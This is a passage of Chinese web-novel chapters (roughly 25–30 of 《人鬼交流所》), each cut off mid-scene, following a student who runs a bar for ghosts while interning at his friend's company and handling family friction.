温令羽乐得清闲，巴不得温父别喊他。 至于温家的家产，继母早就有让温昕接手的打算，强硬给她定好了未来方向，不容许任何人反驳。 温令羽想了想，“也没做什么，温远叔找我吃了几顿饭。” 温寻的事情，宋时盛也有印象。 宋时盛换了个姿势，把枕麻的手换下去，让自己靠得更舒服，才开始慢慢回忆这个事。 “温远叔前段时间来我家做客，我爸妈招待的，好像还敲定了合作。”宋时盛说道。 温远是为了还人情，也有积德的原因在。 早早把事情解决，总比以后拿更多的东西来换。 生意人，比谁都算得清楚。 下完课，温令羽直接赶到了鬼小馆，上午阿辛说打算在那租个店铺，这样招客也方便。 鬼小馆里众鬼狂欢，自然是办事的不二之选。 但是，面对从没露过面的老板，能把店铺这个事谈下来，有点玄乎。 告诉过阿辛下课时间，他特意等在鬼小馆门口，准备一起去找老板，相互给自己壮个胆量。 温令羽和阿辛围在酒吧吧台那，找酒保，“兄弟，你认识你们老板吗？” 酒保还在擦他的杯子，眼都不抬一下，“你找我们老板干什么？” “有个生意，想谈一下。”阿辛补充道。 “你们都在这里啊？”在两人身后，突然出现了大群人，穿着服务生的衣服，每个鬼手中都拿扫把或者抹布。 温令羽侧身过去和阿辛说道：“你觉不觉得他们很眼熟。” 阿辛点了点头，“好像是上回绑架我的。” 又找上来了。 温令羽和阿辛对视一眼，均从对方眼里读出要跑的信息，还没等他们动作。 老头衫大哥从后头冒出来，拉住阿辛的手，眼泪汪汪地感谢他，“小辛啊，幸好你给俺找了份工作，我大哥也来了，我们都非常满意，想要来感谢你呢。” 大哥不松开，阿辛挣脱不开，绑架那天的细节又慢慢想起来，身体不自觉开始抖动。 温令羽看出来了，往阿辛那边站一站，把他们之间的距离隔离开，“你们觉得好就好。” 等大伙坐下来好好聊一聊，才发现对方压根不坏，只是方法用错了，没适应现代的生活方式，还用以前的。 脱敏。 这一番接触，阿辛刚开始还在害怕，但聊到后来，差点也要认对方为大哥，跟着他们一起混。 社交悍匪，可以和宋时盛有的一拼。 突然，阿辛问了他们老大，“大哥，这家店的老板你见过没？” 老大摇了摇头，他过来和酒保大哥说了一声，便直接可以留下来，没有去见老板的必要。 “我帮你们问一问？”老大揽住阿辛，哥俩好的样子，表示自己会帮忙做到。 这一趟注定是无功而返。 阿辛回到家，将鬼小馆里的事情同温老讲了，温老丝毫不意外，露出一副果然如此的样子。 温令羽给温老竖了个大拇指，姜还是老的辣。 第二天晚上，老头衫大哥就找上门，给他们汇报消息，鬼小馆的老板真给他们找到了。 “他死了，去年走的。”老头衫大哥十分平静转述得来的消息。 温令羽没反应过来，他转头去问温老，“你们做鬼的还能死？” 温老一掌拍向温令羽的头，“他是人，不是鬼。” 能看到鬼的人，温令羽不就是。 温令羽想起自己刚见到温老的那天，他问老头衫大哥，“大哥，是在去年七八月份吗？” 老头衫大哥记性不好，他想了很久，“听说是在夏天 25.创业进行 《人鬼交流所》全本免费阅读 “你今晚过去看看情况。”酒保准备直接走了，踏上他的旅游行程，这么多年来第一次出远门，还是不放心鬼小馆。 嘱咐温令羽多加注意。 温令羽一一应下，说道：“我今晚会过去看看，争取等你回来之后，还是全乎的。” 把他送走之后，老头衫大哥也没多待，准备回鬼小馆继续工作打扫卫生。 临走前，他提醒阿辛，“阿辛，你别忘记要带我出去。” “放心放心，晚上再见。”阿辛回应。 等房子里只剩下他们，阿辛慢了半拍反应过来，“阿羽，我们发达了？” 温令羽记得文件上所列的内容，点了点头，“好像是的。” 然后两个齐唰唰看向温老，他也意外这样的发展，温老知道鬼小馆在他们鬼圈子里的地位，眼下最大老板到了温令羽手里。 有些微妙。 作为幕后老板，温令羽给阿辛安排了靠进门口的铺子。 鬼小馆门口进来就是酒吧，方便大家坐在一起吃吃喝喝，维系感情，再往里走就是好几条独立走廊，每条走廊都有不同房间，有不同的功能，二楼及以上的区域是给鬼魂们居住的，属于隐私空间，不对外开放。 温令羽没有说自己是老板来视察的，就当是过来玩的，顺便给自己的新店打个广告。 “我们两开了一家店，有意向的可以过来捧捧场。”温令羽招呼道。 阿辛接着附和，然后领着一群人到了一个空房间，还把装修告示口述给一众鬼听，还招工过来帮忙。 【听说你总担心完不成祈愿任务。】 【找我们，包你满意。】 刚把广告条子写出来，看到的鬼开始沸腾，一个个十分好奇地来问个真假，毕竟这不是可以开玩笑的事情。 “包真的，温大爷你们最近有见到吗？就是我们帮他找到了，他就顺利离开了。”阿辛将温令羽拉进话题中心，“你看，有他在，绝对可以。” 两个的身后还站着温老，他的资历是有目共睹的，可信度是成倍往上涨的。 有了这波宣传，来帮忙搞店铺装修的鬼又多了，原本他们愁的一切全都迎刃而解，其中是要付代价的。 可本来温令羽就是无差别帮助所有人，只是时间早晚的问题。 店的事情有温老和阿辛在盯着，温令羽可以全权交出去，但没了这件事，还有另一件会找上门。 宋时盛久不到温令羽家，再一回来直接拎包入住，把他随身行李都带过来了，准备过来长住。 宿舍有门禁时间，宋时盛因为近期要晚归，自己家又离分公司远，只能来投奔温令羽了。 “家里有司机，又不用你开车，住自己家多舒服。”温令羽说道。 宋时盛没睡饱，为了好心情，给自己定了个草莓蛋糕，才回复道：“算了，多睡五分钟也是五分钟，反正都是要来接的。” “你不会以为我要走过去吧，不是吧，温令羽。”从温令羽眼里读出，他是真的觉得会走过去，非常震惊。 确实是大少爷的样子，能叫人就叫人。 温令羽这么想着，没说出来，但不妨碍宋时盛能猜出来，他补充道：“给钱了，分配点任务不过分吧。” 温令羽哪敢再说话，连忙附和他。 隔天的课是在下午，前一晚温令羽便放任自己熬了个夜，以至于宋时盛来叫他的时候，根本起不来。 脑子都是懵的，“几点了？” 第一反应是下午的课就要迟到了，这个想法一来，温令羽再也睡不下去，立马从床上坐起来。 “八点半了。”宋时盛回答温令羽的上一个问题。 温令羽以为是自己听错了，边拿手机边回复道：“八点半？你在跟我搞笑吗？” 看到手机上的时间，确实是早上八点半。 “大好时间，跟我上班去。”宋时盛打算把温令羽一起带过去。 等上了车，温令羽边吃司机带来的早餐，和司机打招呼，“早上好，又见面了。” 上一回去榆林镇，就是他送他们去的。 都是相熟的，在一辆车上并不尴尬。 到了公司，宋时盛安排了人带温令羽，他自己作为老板，有事情要忙。 但安排的人并不尽心，送到工位上，一点任务都不布置，送到即止。 温令羽环视了一周，发现他四周的工位全是空的，要不然就是光有东西，没有人。 好不容易有人过来，还是来拿自己东西的。 “你这是跳槽走了？”温令羽问他。 这个工位原先的人走了，他上下打量好几眼，“你新来的？” 温令羽点头不是，摇头不是，最后还是应了下来，“应该算是新来的。” 可不就是来凑数的。 “这公司谁来谁倒霉，实习期一到就裁人，一点情分都不留。”他就是刚被开掉的，还继续抱怨道：“特别一视同仁，老员工照裁不误，就仗着自己可以从总公司调人。” 原来周围的位置是全被开掉的。 温令羽再次确认，“所以，这些全是被辞退的。” 他点头，然后指了指他旁边的工位，说道：“他不是，他干得好升职，有独立办公室了。” 对方不想继续聊下去，最后告诫了温令羽一句，“早点找下家，你实习期一到就可以收拾东西滚了。” 一个小时下来，温令羽所在的办公室就没有进来几个人，冷清到不行，实在是待不住。 想着去找宋时盛问一问，他总不能是宋时盛请来给吉祥物的吧。 光呆着，不用干活的。 从那间办公室出来，人倒是多了起来，去宋时盛的办公室，敲了半天门没人应。 开门进去，里面宋时盛不在。 “小宋总在会议室开会，你有什么事要找他吗。”说话的是宋时盛的助理，她是会议中途过来拿资料的。 但既然对方在开会，温令羽准备回去再说，他问道：“我今天新来的，但是没给我派活。” 助理她没听宋时盛交代过，但她不会小觑其他人，回答道：“你可以找带你来的负责人，他会给你安排任务的。” 温令羽又重新回到了办公室，过了 26.店铺建设 《人鬼交流所》全本免费阅读 “没有。”对方将电脑网页关闭，见温令羽还看着他，反问道，“还有什么事吗？” 谁都不喜欢探讨私事，眼看对方脸色黑了下来，本来是想再问问，学习学习的心思也没有了，说了句没事情就离开了。 等温令羽走开，对方也离开了工位，其他人都在午睡休息。 下午一点半，公司里人开始多起来。 宋时盛总算忙完事，从他的办公室出来，还穿着上班时装模作样的衣服，没时间换掉它。 但这一身显然去上课不实际。 还好车里有备用衣服，宋时盛能换一身，不至于成为全班的焦点。 温令羽和宋时盛赶到了班里，室友已经给他占好了座位，宋时盛带着温令羽走了过去。 “你们怎么到这么晚？”几乎是卡着上课铃声进来的。 讲台上老师都提早到了。 温令羽指了指宋时盛，“他，上班晚了。” “也给我们安排一下，马上暑假工作不好找。”宋时盛室友是知道的，但一直没好意思开口。 现在看温令羽都能进，也就大大方方地开了这口。 宋时盛当然应了下来，但专业不对口，他公司现在地方小，安排不上合适的岗位也正常。 “现在应该有空位置，到时候我安排一下，就是岗位和资金不合适，别怪我这里庙小。”宋时盛先给他们打了个预防针。 这年头工作不好找，暑假工有刚高考的撑着，不早点去压根没有位置，都满员了。 所以，对于宋时盛列出的情况，他们应下得十分爽快。 上完了一两个小时的大课程，就有人提出要一起去吃饭。 “一起去吃点？还是食堂那家。”以前都会一块吃，但宋时盛一忙起来，已经很长时间没一块了。 宋时盛当然也想念这口，以前隔三差五就能吃，一到纠结的时间，就会果断选择这家。 “阿羽，你去不去？”宋时盛已经答应了，想把温令羽一块拉去。 温令羽从早上出来就没休息过，对于吃饭没有兴趣，他把脸凑上去，让宋时盛看清楚眼下的青黑。 “哥，我困得不行，先撤了。”温令羽半刻不想留下，非常想回去睡觉了。 宋时盛知道自己今天是为难温令羽了，想了想还是放人走了，“你先回去吧，记得给我留个门。” 这么一说，温令羽也就不客气了，立马拿上书包，从教室后门直接走了，还顺道给自己打了个车，到校门口就撤退。 刚好如温令羽自己所预料到的，自己刚走到，车子直接到了门口，一点热都没让自己感受到。 到了自己家，阿辛和温老去鬼小馆监工去了，建设小店，还需要看看施工进度，早点把店铺开起来。 让整个模式正规起来。 糊里糊涂开始，就容易让土匪大哥的事件再一次发生，涉及到自己利益面前，都不会放过。 温令羽火速给自己洗了个澡，准备晚点休息好了再去鬼小馆，把那两个找回来。 阿辛和温老待在那里，非常容易忘记时间，经常在那过好几天才回来。 以前温令羽是不晓得的，但在他俩在那连续两天没回之后，温令羽就知道，他们真分不清时间，特别是在鬼小馆里面。 鬼小馆里窗户全有遮光窗帘挡着，里面灯光是不关的，当酒保和他说起这件事。 酒保大哥一脸正经提起这个事情，“没办法，要是窗帘不关，有人会看见里面，引起轰动注意就不可以，要从源头上杜绝。” 温令羽还担心费电，“你认真的吗？” 前任老板是位大佬，不缺钱，长久点着一点问题都没有，甚至还包下这么大块地盘，就为了收留下所有的鬼魂。 玄学在上，以前任老板为指标，向他学习，早晚有一天能达到他的地位上。 这也是温令羽能安心接下这活的原因。 安心睡了一觉，已经晚上十一点了，家里的鬼果然一只都没有回来。 打了车过去，温令羽一进去，里面热闹无比，跳舞的、唱歌的、喝酒的、玩闹的，应有尽有。 因为上次一宣传，大家对于温令羽有了一个眼熟，路过之处，纷纷停下来和温令羽打招呼。 一下子，温令羽想到电视剧里领导巡视的感觉，放在温令羽身上就很好笑。 努力憋着。 走到了温老常在的影院房间，一打开，确实是在，旁边坐着阿辛，还有不少面熟的鬼在里面。 温令羽打开的门露出了走廊上的光，把不少鬼的注意力移了过来。 “温老头，你家人来接你了。”旁边就有鬼在喊温老，里头有打趣的成分在。 “你先回去吧，下次再回。”温老正看得上头，一点都不想走。 阿辛看到温令羽像看到了救星，他走到温令羽旁边，还和温老挥挥手，表示他要走了。 为了不耽误其他人继续看，温令羽赶紧关门带着阿辛跑路。 “你终于来了，老先生选的剧我真是不敢恭维。”阿辛现在越来越不能适应温老的剧。 刚开始时，温老还会跟着阿辛看剧，越来越适应现代生活后，温老就有了自己的看剧风格。 阿辛陪同习惯了，以前一块看得很欢乐，都有个伴，后来就越来越崩溃，简直是坐立难安。 “温老现在的品味真不敢苟同，我是真看不下去了。”阿辛心里很想走，但是不敢当面和温老说。 温令羽也能明白阿辛，他说道：“感谢我吧，就知道你不敢和温老说。”< 27.无法拒绝 《人鬼交流所》全本免费阅读 温令羽刚走到办公室门口，宋时盛恰好从另一间出来，他的助理跟在他后面，手里拿了大叠，像是简历。 宋时盛走得匆忙，没注意到另一边走过来的温令羽，看脸色，他还在气头上，开门时，恨不得直接踹进去。 助理压根不敢进去，徘徊在门外，他看到了温令羽，他朝他挥挥手。 “你有事情吗？帮我把文件送进去吧。”助理就要把文件交给温令羽。 这烫手山芋，温令羽可不会傻到现在去触宋时盛的霉头。 “我那里还有工作，先回去了”然后没管助理能不能答应，自己径直走了。 突然，门口一小孩直接跑了进来，张口就喊哥，助理马上认出来了，把宋时盛弟弟带了进去，分担了怒火。 失去了询问的契机，温令羽看到人都进去了，转过头回到自己工位上。 “温令羽，你回来了？刚刚有人拿来资料，让我们整理完之后交过去。”资料堆了半桌，全在温令羽他的桌子上。 而他本人的桌子上，只有正在整理的文件一本。 文件不仅乱七八糟地摆放在那里，还把原先放在那的键盘给移开腾位置了。 温令羽有些无奈，“这些全是我的？” 对方看清了状况，可能也觉得他的做法不合适，他尴尬地笑笑，搬走了一半，“这不是我摆的，送来的人直接把这些放在这里，我就没拿。” 无论真假，看对方态度好，而且他们还是同学，不好计较。 “这些是我的那部分吗？”温令羽选择换了个话题。 得到了肯定的回答，温令羽投入到工作中，看清楚上面的内容，是人事部因裁员招聘，工作强度成倍增加。 只能临时把其他部门的人调过去，唯一空的也就这边的两位了。 两人专注于事情上，没有注意到办公室里多出了个人。 “温昕哥哥，你在我哥公司上班啊？”弟弟从温令羽后头冒出来，认出来面前的是温昕的哥哥。 温令羽熟悉宋时盛的处事作风，“你哥让你来找我？” 弟弟十分惊讶，他和哥哥的小秘密就这么被猜出来了，“温昕哥哥，你刚刚偷听我和我哥讲话了。” 温令羽可不能在亲弟面前说他亲哥的坏话，只能先认下这个任务，让弟弟随便找台电脑打发时间。 一大一小的对话，自然都被听到。 “温令羽，你和宋时盛很熟吗？” 宋时盛的室友是知道的，开学的时候，双方相互介绍过，都有一定的了解，宋时盛也明说两人是高中同学。 温令羽实话实说：“我们是高中同学。” “那你们关系肯定很好，我都把高中群都退掉了。” 至于温令羽和宋时盛的关系比其他高中同学好，纯粹就是两人经常在培训课上遇见，或是说曾经遇到过同一位老师。 上了两天班，宋时盛想起他自己承诺要让温令羽好好考虑，趁着别人下班公司里没人，他把温令羽叫了过去。 当时温令羽以为是找他说他弟的看管任务，“你弟弟被你家司机接走了。” “这个我知道，我打的电话。我是想问，你愿意来我公司上班吗？”宋时盛最近忙得不可开交，耐心也渐渐耗尽，等不住就来问了。 温令羽本来是想拒绝的，但看清宋时盛脸上的倦意，快速转了话，“那你又让干活，又得带娃，工资是不是要多给一点。” 宋时盛闻言笑了，疲惫一扫而空，然后说道：“绝对少不了你的，这一点你还不能放心吗？” 由于温令羽的松口，隔天宋时盛的助理就给温令羽换了个部门。 直接到了最忙的人事部。 还被安排到接电话的任务，和来咨询的应聘者交流，还有接收应聘邮件和快递，并转交给上一级。 温令羽充分怀疑，是不是助理因为前一天不帮忙而迁怒与他。 接了一上午电话，耳朵就没和铃声离开过，严重到午休时间把电话线拔了，脑子里还有电话铃声。 温令羽累到不行，直接趴桌子上睡着了，早前嫌弃桌子硬邦邦的，睡久了容易手疼，而且睡不好。 真的累到极致，是可以接受环境恶劣的。 睡一觉起来有些懵，忘了把电话线插回去，看到其他人都在接电话，而自己工位上的没有响。 还悠闲地逛公司内网，准备看看资料。 登入是需要账号密码的，温令羽刚来的时候创建过一个，他输入进去，点击登录，却一直处在白屏，加载不出来。 “网络好差劲。” 刚抱怨完，下一秒就显示了出来。 【该用户没有权限】 页面显示这几个大字，温令羽直接拍了照去问他的上级领导，对方过了十分钟才回复，“权限是由领导层发布的，我并不清楚。” 这个界面是属于在温令羽的工作范围内，这个都进不去，显然是没有一点权限。 温令羽没废话，将截图传给了宋时盛。 今天没有面试，他回得很快，“可能是没加进去，急的话你可以登我的号。” “你的号？老板的权限是最大的吧，你确定？”温令羽震惊了，开始怀疑对面是否是宋时盛本人了。 宋时盛直接拨了内线电话过去，“我报给你，你输入。” 等真正进入到界面，用户的姓名一栏写的是宋时盛，下面标注了他的职位。 “管理权限的人这两天去总公司开会了，明天给你录进去。” 温令羽应了下来，开始看资料，消息框突然闪出来辞职信，一直没反应过来是宋时盛的号，条件反射点了进去。 把宋时盛这位新老板从头到脚骂了一通，甚至还不出气，连他的下达的政策措施一块骂了。 温令羽直接给看愣了。 坐他对面的人已经接了好几个，发现温令羽直勾勾看电脑，电话铃响都没响，觉得奇怪，站起来一看发现了端倪。 “小温啊，你看看你自己，电话线都没插回去啊。” 这句话刚提醒完，马上又有电话打进来，连监督温令羽的时间都没有。 温令羽这才想起来，他午休结束，压根把 28.兄弟离开 《人鬼交流所》全本免费阅读 对方是不知道温令羽属于过那个部门，没必要拿这件事情诓骗他。 只可能是真实的。 “这么严重？全部人都开除了？”温令羽十分惊讶。 一说到其他事，就来了精神，把脸上的眼泪抹干净，然后仔细道来事情的经过。 原先那个办公室，主要负责营销策划方面，属于重点部门，得到很多关注。 事与愿违，时代发展太快，在这里吃“铁饭碗”的人跟不上发展脚步，原先公司破产，他们就要负一定的责任。 原公司为了改变现状，曾作出努力，裁人招人都实施过，偏偏人情世故放在那里，老员工架子摆得高，风气都被搅和乱了。 直到宋氏收购。 宋时盛来之前就听说过，找到机会把最会搞事的人赶出了公司，却没料到对方竟然拉帮结派威胁起来。 开除公告发布的第二天，那间办公室几乎都罢工了，只有几个还留守岗位，听候差遣。 宋时盛刚进办公室就听到这情况，登记人数，打包全开了。 动静闹得太大，后面不好收场，一不做二不休，在之后的几天里，剩下的几个人都走了。 温令羽悟出点东西来了，“那你也是这样的情况？” 对方摇了摇头，说道：“我接私活的事情被人举报了，可能和那些人一样的下场。” 不是，接私活，还让温令羽开口去向宋时盛求情。 温令羽这么想着。 头一次，温令羽开始反省自己了，到底是哪里出现了问题，能让其他人觉得他很好说话。 温令羽走开了几步，直接拒绝：“你还是去找其他人吧，帮不了。” 然后，温令羽头也不回走出休息室。 此刻宋时盛正在找温令羽，看见他从休息室里出来，他走了上来，“我正找你呢，跟我来。” 温令羽想了想，将休息间里听说的事情和宋时盛说清楚，他提醒宋时盛，“是不是太着急了，有些事要慢慢来。” 话落，宋时盛气得不行，他一下从位置上站了起来，“我是辞了他们没错，归根究底是他们太过分了。” 早就想找机会来问，宋时盛自己先说了。 宋时盛容得下他们，留下能让他多点美名，况且替补的人没有找到，莽撞行事不符合他一直受到的教育。 气就气在，他们倚老卖老，不满足于现状，既拿不出成绩又想要更高的地位。 宋氏不允许威胁，宁可把整个部门清空，工作停滞，都不能让这种情况发生。 从公司出来，温令羽直接去了鬼小馆。 早上出门前，阿辛着急忙慌叫住了温令羽，“阿羽，你忙完后来小馆一趟。” “装修好了吗？”温令羽第一反应是阿辛让他去验收成果。 没说温令羽就猜到了，阿辛很惊喜，然后说道：“你真的得去看看，装修得可好看了。” 阿辛是第一次接触这些事情，生前学习占了他的大半生。 到了门口，鬼魂排成长长一队，在门口验证身份，像极了那天宴会时的样子。 温令羽不会干涉鬼小馆的经营，对于里面举办的活动，一向不会过问，有专管的鬼魂审核和把控，正常的承办宴席讲不到温令羽这个老板那。 鬼小馆专注于为鬼魂用户服务，当然不会事事有限制。 温令羽跨过门口排队的，从另一侧熟人通道进去，新来的酒保已经十分熟练，颇有他师傅的真传。 站在那里擦酒杯的姿势都与他师傅一样，温令羽都看得恍惚，差点以为对方还在。 温令羽走了过去，才发现对方心思不在酒杯上，不知道在想些什么，呆愣愣地看着前方。 “你怎么了？”温令羽是这家店老板的消息，他也知道，他师傅走前和他说过。 听到温令羽来问他，一时间怕是自己没办好事，他慌忙解释道：“没有，我就是在想库房里的饮品还够不够。” 很快，就有服务员过来问，温令羽不好打扰他们工作，便转到自己店铺那里，准备去找阿辛。 走廊尽头，就看见老头衫大哥靠在墙上，神情落寞，双手无力地垂在两侧。 温令羽走了过去，发现对方的眼睛红红的。 这段日子，他身边的无论是人还是鬼，怎么都不对劲，总有不舒心的地方。 老头衫大哥听见脚步声，在看清来人后又平静下来，“我和我兄弟们真的只能留在这里吗？” “发生什么事了吗？”温令羽很快反应，绝对是发生了变化，才会改变他的心境。 原先老头衫大哥对于之后的生活，哪怕是走不了，也是乐观看待，绝不是像现在，如此悲观的模样。 “我小弟走了，就在昨天。”大哥说起他小弟，一个大汉就忍不住动容，眼泪顿时落下，没给旁人一点反应机会。 温令羽只好边拍他的背，边安慰道：“这是好事，说明他终于可以自己做选择了。” “我直到昨天才知道，他与我们不一样，他不是因为那些人的愿望才出现的。” “当时他没和我们一起，只当他是走丢了，没往其他地方想。” “就在昨天，他同我们坦白了，说他感受到他马上就要走了。” 老头衫大哥又讲了些他们的往事，小弟从被他们捡回来起就一直跟着他，由他负责照料。 风餐露宿的，后来同他们一块死了。 温令羽没安慰人的经验，稀缺的经验还是因为温昕，作为哥哥，还是能承担责任，在妹妹哭泣难过的时候，给予哥哥的关怀。 但显然在这个时候派不上用场。 好在老头衫大哥分享欲旺盛，只是想找个人说说话，对分享对象没有什么要求，能听见就行。 “我们只能等，或是祈求他们能自己想开想清楚，运气一好，说不定就算完成了任务。” “以前都是看别人走，第一次自己人走，好突然，不适应。” 情绪都到了这里，老头衫大哥又绷不住，担心在小辈面前丢脸，只能悄摸摸地抹眼泪，就当温令羽没看见。 鬼小馆今日办宴会，事情忙，老头衫大哥听到有人叫他，快速调整完状态，笑 29.设立分馆 《人鬼交流所》全本免费阅读 鬼小馆有一个不成文的规定，在这里办宴会请众鬼，或是做为其他鬼魂的事情，作为老板需要出面与之交涉，以此来做交换。 上一回请客时，新任老板并没有到位，这件事便被搁置下来。 对方便以为是自己请的鬼魂不够，于是又大肆宴请一番，就像这一次。 “你怎么又来了？”于先生认出了温令羽，在众鬼之中，他最独特，哪怕是在最角落，也能看清楚。 一下子成为了全场焦点，温令羽脑没反应过来，脸就红透了，昏暗灯光下，其他人也看不出来。 也不知道怎么出来的，温令羽已经走到了自己店铺那边。 阿辛一脸愤怒，“什么鬼吗？就这么把我们俩赶出来了。” 就在温令羽和阿辛坐在店里郁闷，土匪大哥从外头跑进来，“不好意思，不好意思，都是我们当时太冲动了。” 阿辛愤怒也是对姓于的，上次的事早过去了。 “怎么回事？他怎么三天两头请客。”阿辛烦得很，一点不想见到于先生。 温令羽同样疑惑，请一次客的人力物力耗费巨大，这姓于的，竟然能搞第二次，甚至请的人又不一样了。 人又更多了。 土匪大哥他倒是从别的鬼那得到了内部消息，“听说他这么做是要来找老板的。” 但土匪大哥是新来不久的，这些只能知道个大概。 “大哥没事，你来和我们说一声就很好了。”阿辛不想让他大哥，因为不在岗而被骂，说了几句就让他赶紧回去。 免得看不到人。 土匪大哥走前，依旧满脸歉意，“温小弟，辛小弟，对不住了。” 大哥一离开，新任酒保就从外面进来了，两个中间隔不了几分钟。 酒保手里还拿着一封信件，注意到温令羽的视线停在这上面，他解释道：“这是我师傅走前交给我的。” 师傅没让他拆开，他没这个胆子私自打开看，只能是要温令羽发话，让他负责转述。 温令羽突然脑子清明，一下子像是打通了里面的关窍。 “这不会是姓于的，找来的吧。”温令羽不知道于先生的名字，只知道一个姓，但不说也知道是在指于先生。 酒保本来就没打开过，是不知道里面内容的，他摇了摇头：“我师傅没有和我说。” 温令羽叹了口气，是自己失策，面前这位是真不会变通，“你打开吧，念一下里面的内容。” 酒保打开信封，里面有两份，拿出来后看向温令羽，明确是想问他的意见，先开哪一份。 你说一句，他走一句，不说就宁愿等着。 说好听点是听话，难听点就是死板。 一件看信读信的小事能被搞这么久，阿辛在一边看得着急，他随意指了一个，“反正都要看，你随便开一个。” 酒保没理阿辛，依旧看温令羽。 第一瞬间，温令羽有换人的想法，不过只有那一瞬间。 “这是我师傅写的，主要是为了强调文件上的内容，他认为温先生你本人并没有仔细阅读过鬼小馆老板身份手册，上面的内容没有全部了解。”酒保先念了一段开头，就立马被叫停。 上一任过于先知，真能想到温令羽根本没怎么认真看，光顾着惊讶了，装作听了，实际没有。 “讲重点吧，这一段略过。” 在鬼小馆宴请众鬼，一定程度上缓解了老板的压力，让有能力的鬼扶持无能力的一部分，而老板本质是人，无法享受到。 付出该得到回报，于是便可以主动向鬼小馆提一个要求，没有正当理由无法拒绝。 另一封是于先生写给老板的。 温令羽让他打开，“说说吧，他求什么事啊？” “想在其他地方开鬼小馆的分馆，能够让其他鬼不需要大老远赶到这里。”瞬间，这个要求震惊了现场。 设分馆的难度可想而知，早几任都没能做到，只能不断把地方扩大。 温令羽想了想，让酒保把于先生叫过来，准备当面谈一谈。 得知是老板收到了信要相见，于先生把宴会里安排好后，马上赶了过来。 虽然看到是刚刚赶走的人，但结合他身边站着的鬼魂，脑子不蠢自然能想到，“你就是幕后老板。” 幕后之人竟是个毛头小子，出乎于先生的意料，同时他也松了口气，现在他的谈判对象难度下降了不少。 成年人总会往有利自己的方面去思考。 于先生的话是陈述句，温令羽没必要藏着掖着身份，他坦言道：“你要开设分馆的目的呢？” 分馆有好处，却并不代表好处会大于弊处。 温令羽只有一个人，没有过多精力去管理太多，万一隔得远的分部阳奉阴违，无从得知，容易违背初衷。 于先生他看样子十分有把握，“我负责出钱出力出地方，管理还是由你来，稳赚不亏的。” “那你呢？如此无私奉献，什么都不想要？”温令羽看出于先生在犹豫，他接着说道：“既然宴会你请了，奖励我们两个心知肚明，还是直接说得好。” 比起到时候板上钉钉，温令羽更需要时间去解决。 于先生笑了，他很满意温令羽的坦诚，“管理人员依旧你来确定，但是人选我总有资格推荐吧。” 野心慢慢浮出水面。 “那还是我管吗？人都是你选的。”温令羽看出于先生话里隐藏的玄机。 气氛变得凝重。 于先生他也发现温令羽严肃起来，他转圜了余地，想动之以情晓之以理，准备和温令羽聊聊：“我是外地的，每一次过来都要花好几天时间，深刻知道这里面的艰辛，我为大家好的心是真的。” “我已经见到过好几任老板了，但无一例外他们都拒绝了，我还是不放弃，诚意是满满的。” “你不是要帮助人与鬼交流，难道其他地方的就被你放弃了？” 这个锅温令羽不背，反驳道：“不会。” 得到了答复，于先生同样知道温令羽在担心什么，沉默了片刻后，做出了让步，“分馆可以先试营业， 30.对象错误 《人鬼交流所》全本免费阅读 “你怎么这么晚回来？去哪了？”宋时盛还住在温令羽家，他一连几天加班，好不容易早回来一次，温令羽还不在家。 电话打过去也没人接。 温令羽没听到宋时盛的电话，边说边把手机拿出来，按了开关键，手机没一点反应。 “没电了，都忘了充。”温令羽忙得连看手机的时间都没，自然没注意到电量。 宋时盛将苦活交给了温令羽，自己还白住他家，自己都不好意思提，赶紧转移了话题，“对了，那个人还有来找你吗？” 当天就被辞了，他自己也生气，东西都没拿就走了。 温令羽摇了摇头，“再说了，他想联系我都没办法吧。” 联络方式都没加，自然谈不上有联系。 接电话收邮件的事情不好做，温令羽对公司不熟，办事效率低，宋时盛知道他们之间的关系没什么不可说的，直白开口。 “你明天和我去招聘市场，电话邮件那个事情，我会安排其他人去的。”宋时盛让温令羽少了这一项，也会加上另一项。 加入前就想过，温令羽答应下来，“几点？” 因为背靠老板，宋时盛免了温令羽隔天早上的考勤，直接从家到的招聘市场。 温令羽只听说过，没来过，与之相比，宋时盛就十分熟悉，都不需要负责人带路，自己就能找到位置。 尽管跟宋时盛来到现场，温令羽是没有提问面试资格的，纯粹就是过来，偶尔提个意见或想法，是否采纳依旧是个未知数。 温令羽手撑在桌上，端正姿态，像是仔细学习面试，实际上目光所及暴露了他在走神。 “哥。” 突然有熟悉的音在喊他，温令羽看到了温昕，在她不远处温父站在那里。 温昕的一声“哥”吸引了一众视线，温令羽不愿打扰工作，赶忙起身走到温昕身边。 “你怎么来了？人多还是站爸旁边安全。”温令羽许久没见过妹妹，一时间不知道该怎么相处。 温昕是继母硬要她过来的，说是要来学习，麻烦了两个人。 温父本就来转一圈就走，有其他人会负责，他来监督，可温昕学习的任务压在温父身上。 想走没法走。 而温昕自己也不想待在这里。 在她看见温令羽之前，她带温令羽去到温父面前，“爸爸，我看到哥了。” 上一次和温父见面的场景变得模糊，温令羽记不起，父子两许久没见，一遇到，变得生疏又尴尬。 “清明回去挺好，有空常回家吃饭。”温父客套习惯了，对自己的儿子也没调整回来。 这个时候，温父看清温令羽颈上挂的牌子，是个小公司，没有听说过，愠怒道：“你不上课，怎么去小公司打工了？” 温令羽懒得和温父说，无视他的话，转身就走，“我还有事情，先走了。” 这个样子绝对会惹怒温父，可温令羽深知，温父不会在大庭广众之下丢面子，再气也只能憋在心里。 发火可不符合温父在外的个人形象。 “我刚看见温叔了，你见到他了？”宋时盛为了解情况也转了一圈，碰到温父向他打了声招呼。 宋时盛现在开始接触家里的事情，温父不再把他当一个小孩，将有可能是竞争对手。 温令羽回答道：“看到了，他带温昕过来的。” 而隔天在公司里见到温昕坐在他的位置上，他有片刻出神，脑子空空的。 “小昕，你怎么来了？” 问出来的下一秒，宋时盛弟弟从另一个门进来，还叫着温昕的名字。 跑到这边看到温令羽，得意地说道：“我就说你哥哥在这里吧。” 温昕满脸不解，“哥，你为什么不回家？” 话里还有第二个意思，但温令羽陷入了纠结，他不知道该不该对温昕说实话。 只能先转移话题，“你周末没有课吗？怎么来这里了。” 温昕的课程报得满，比其他同龄人少了很多玩乐的时间，继母对她的要求很高，达不到目标就会一直督促她。 甚至，对她也看得很严。 正当温令羽在想怎么把温昕送回去，继母的电话就来了，接起来，她的语气很着急，“小昕有来找你吗？我在你家楼下。” 温昕来过温令羽的家，继母找遍了能想到的所有地方，只能将最后的希望寄托在温令羽身上。 温令羽应了一声，将地址告诉了她，接着对温昕说道：“你又瞒着你妈妈跑出来了？” “……”温昕用沉默代替了答案。 能预料到等会儿见继母是个什么样的状态，唯一把她带过来的弟弟没什么感觉。 “你要走了？就待这么一会儿？”还有些不舍温昕的离开。 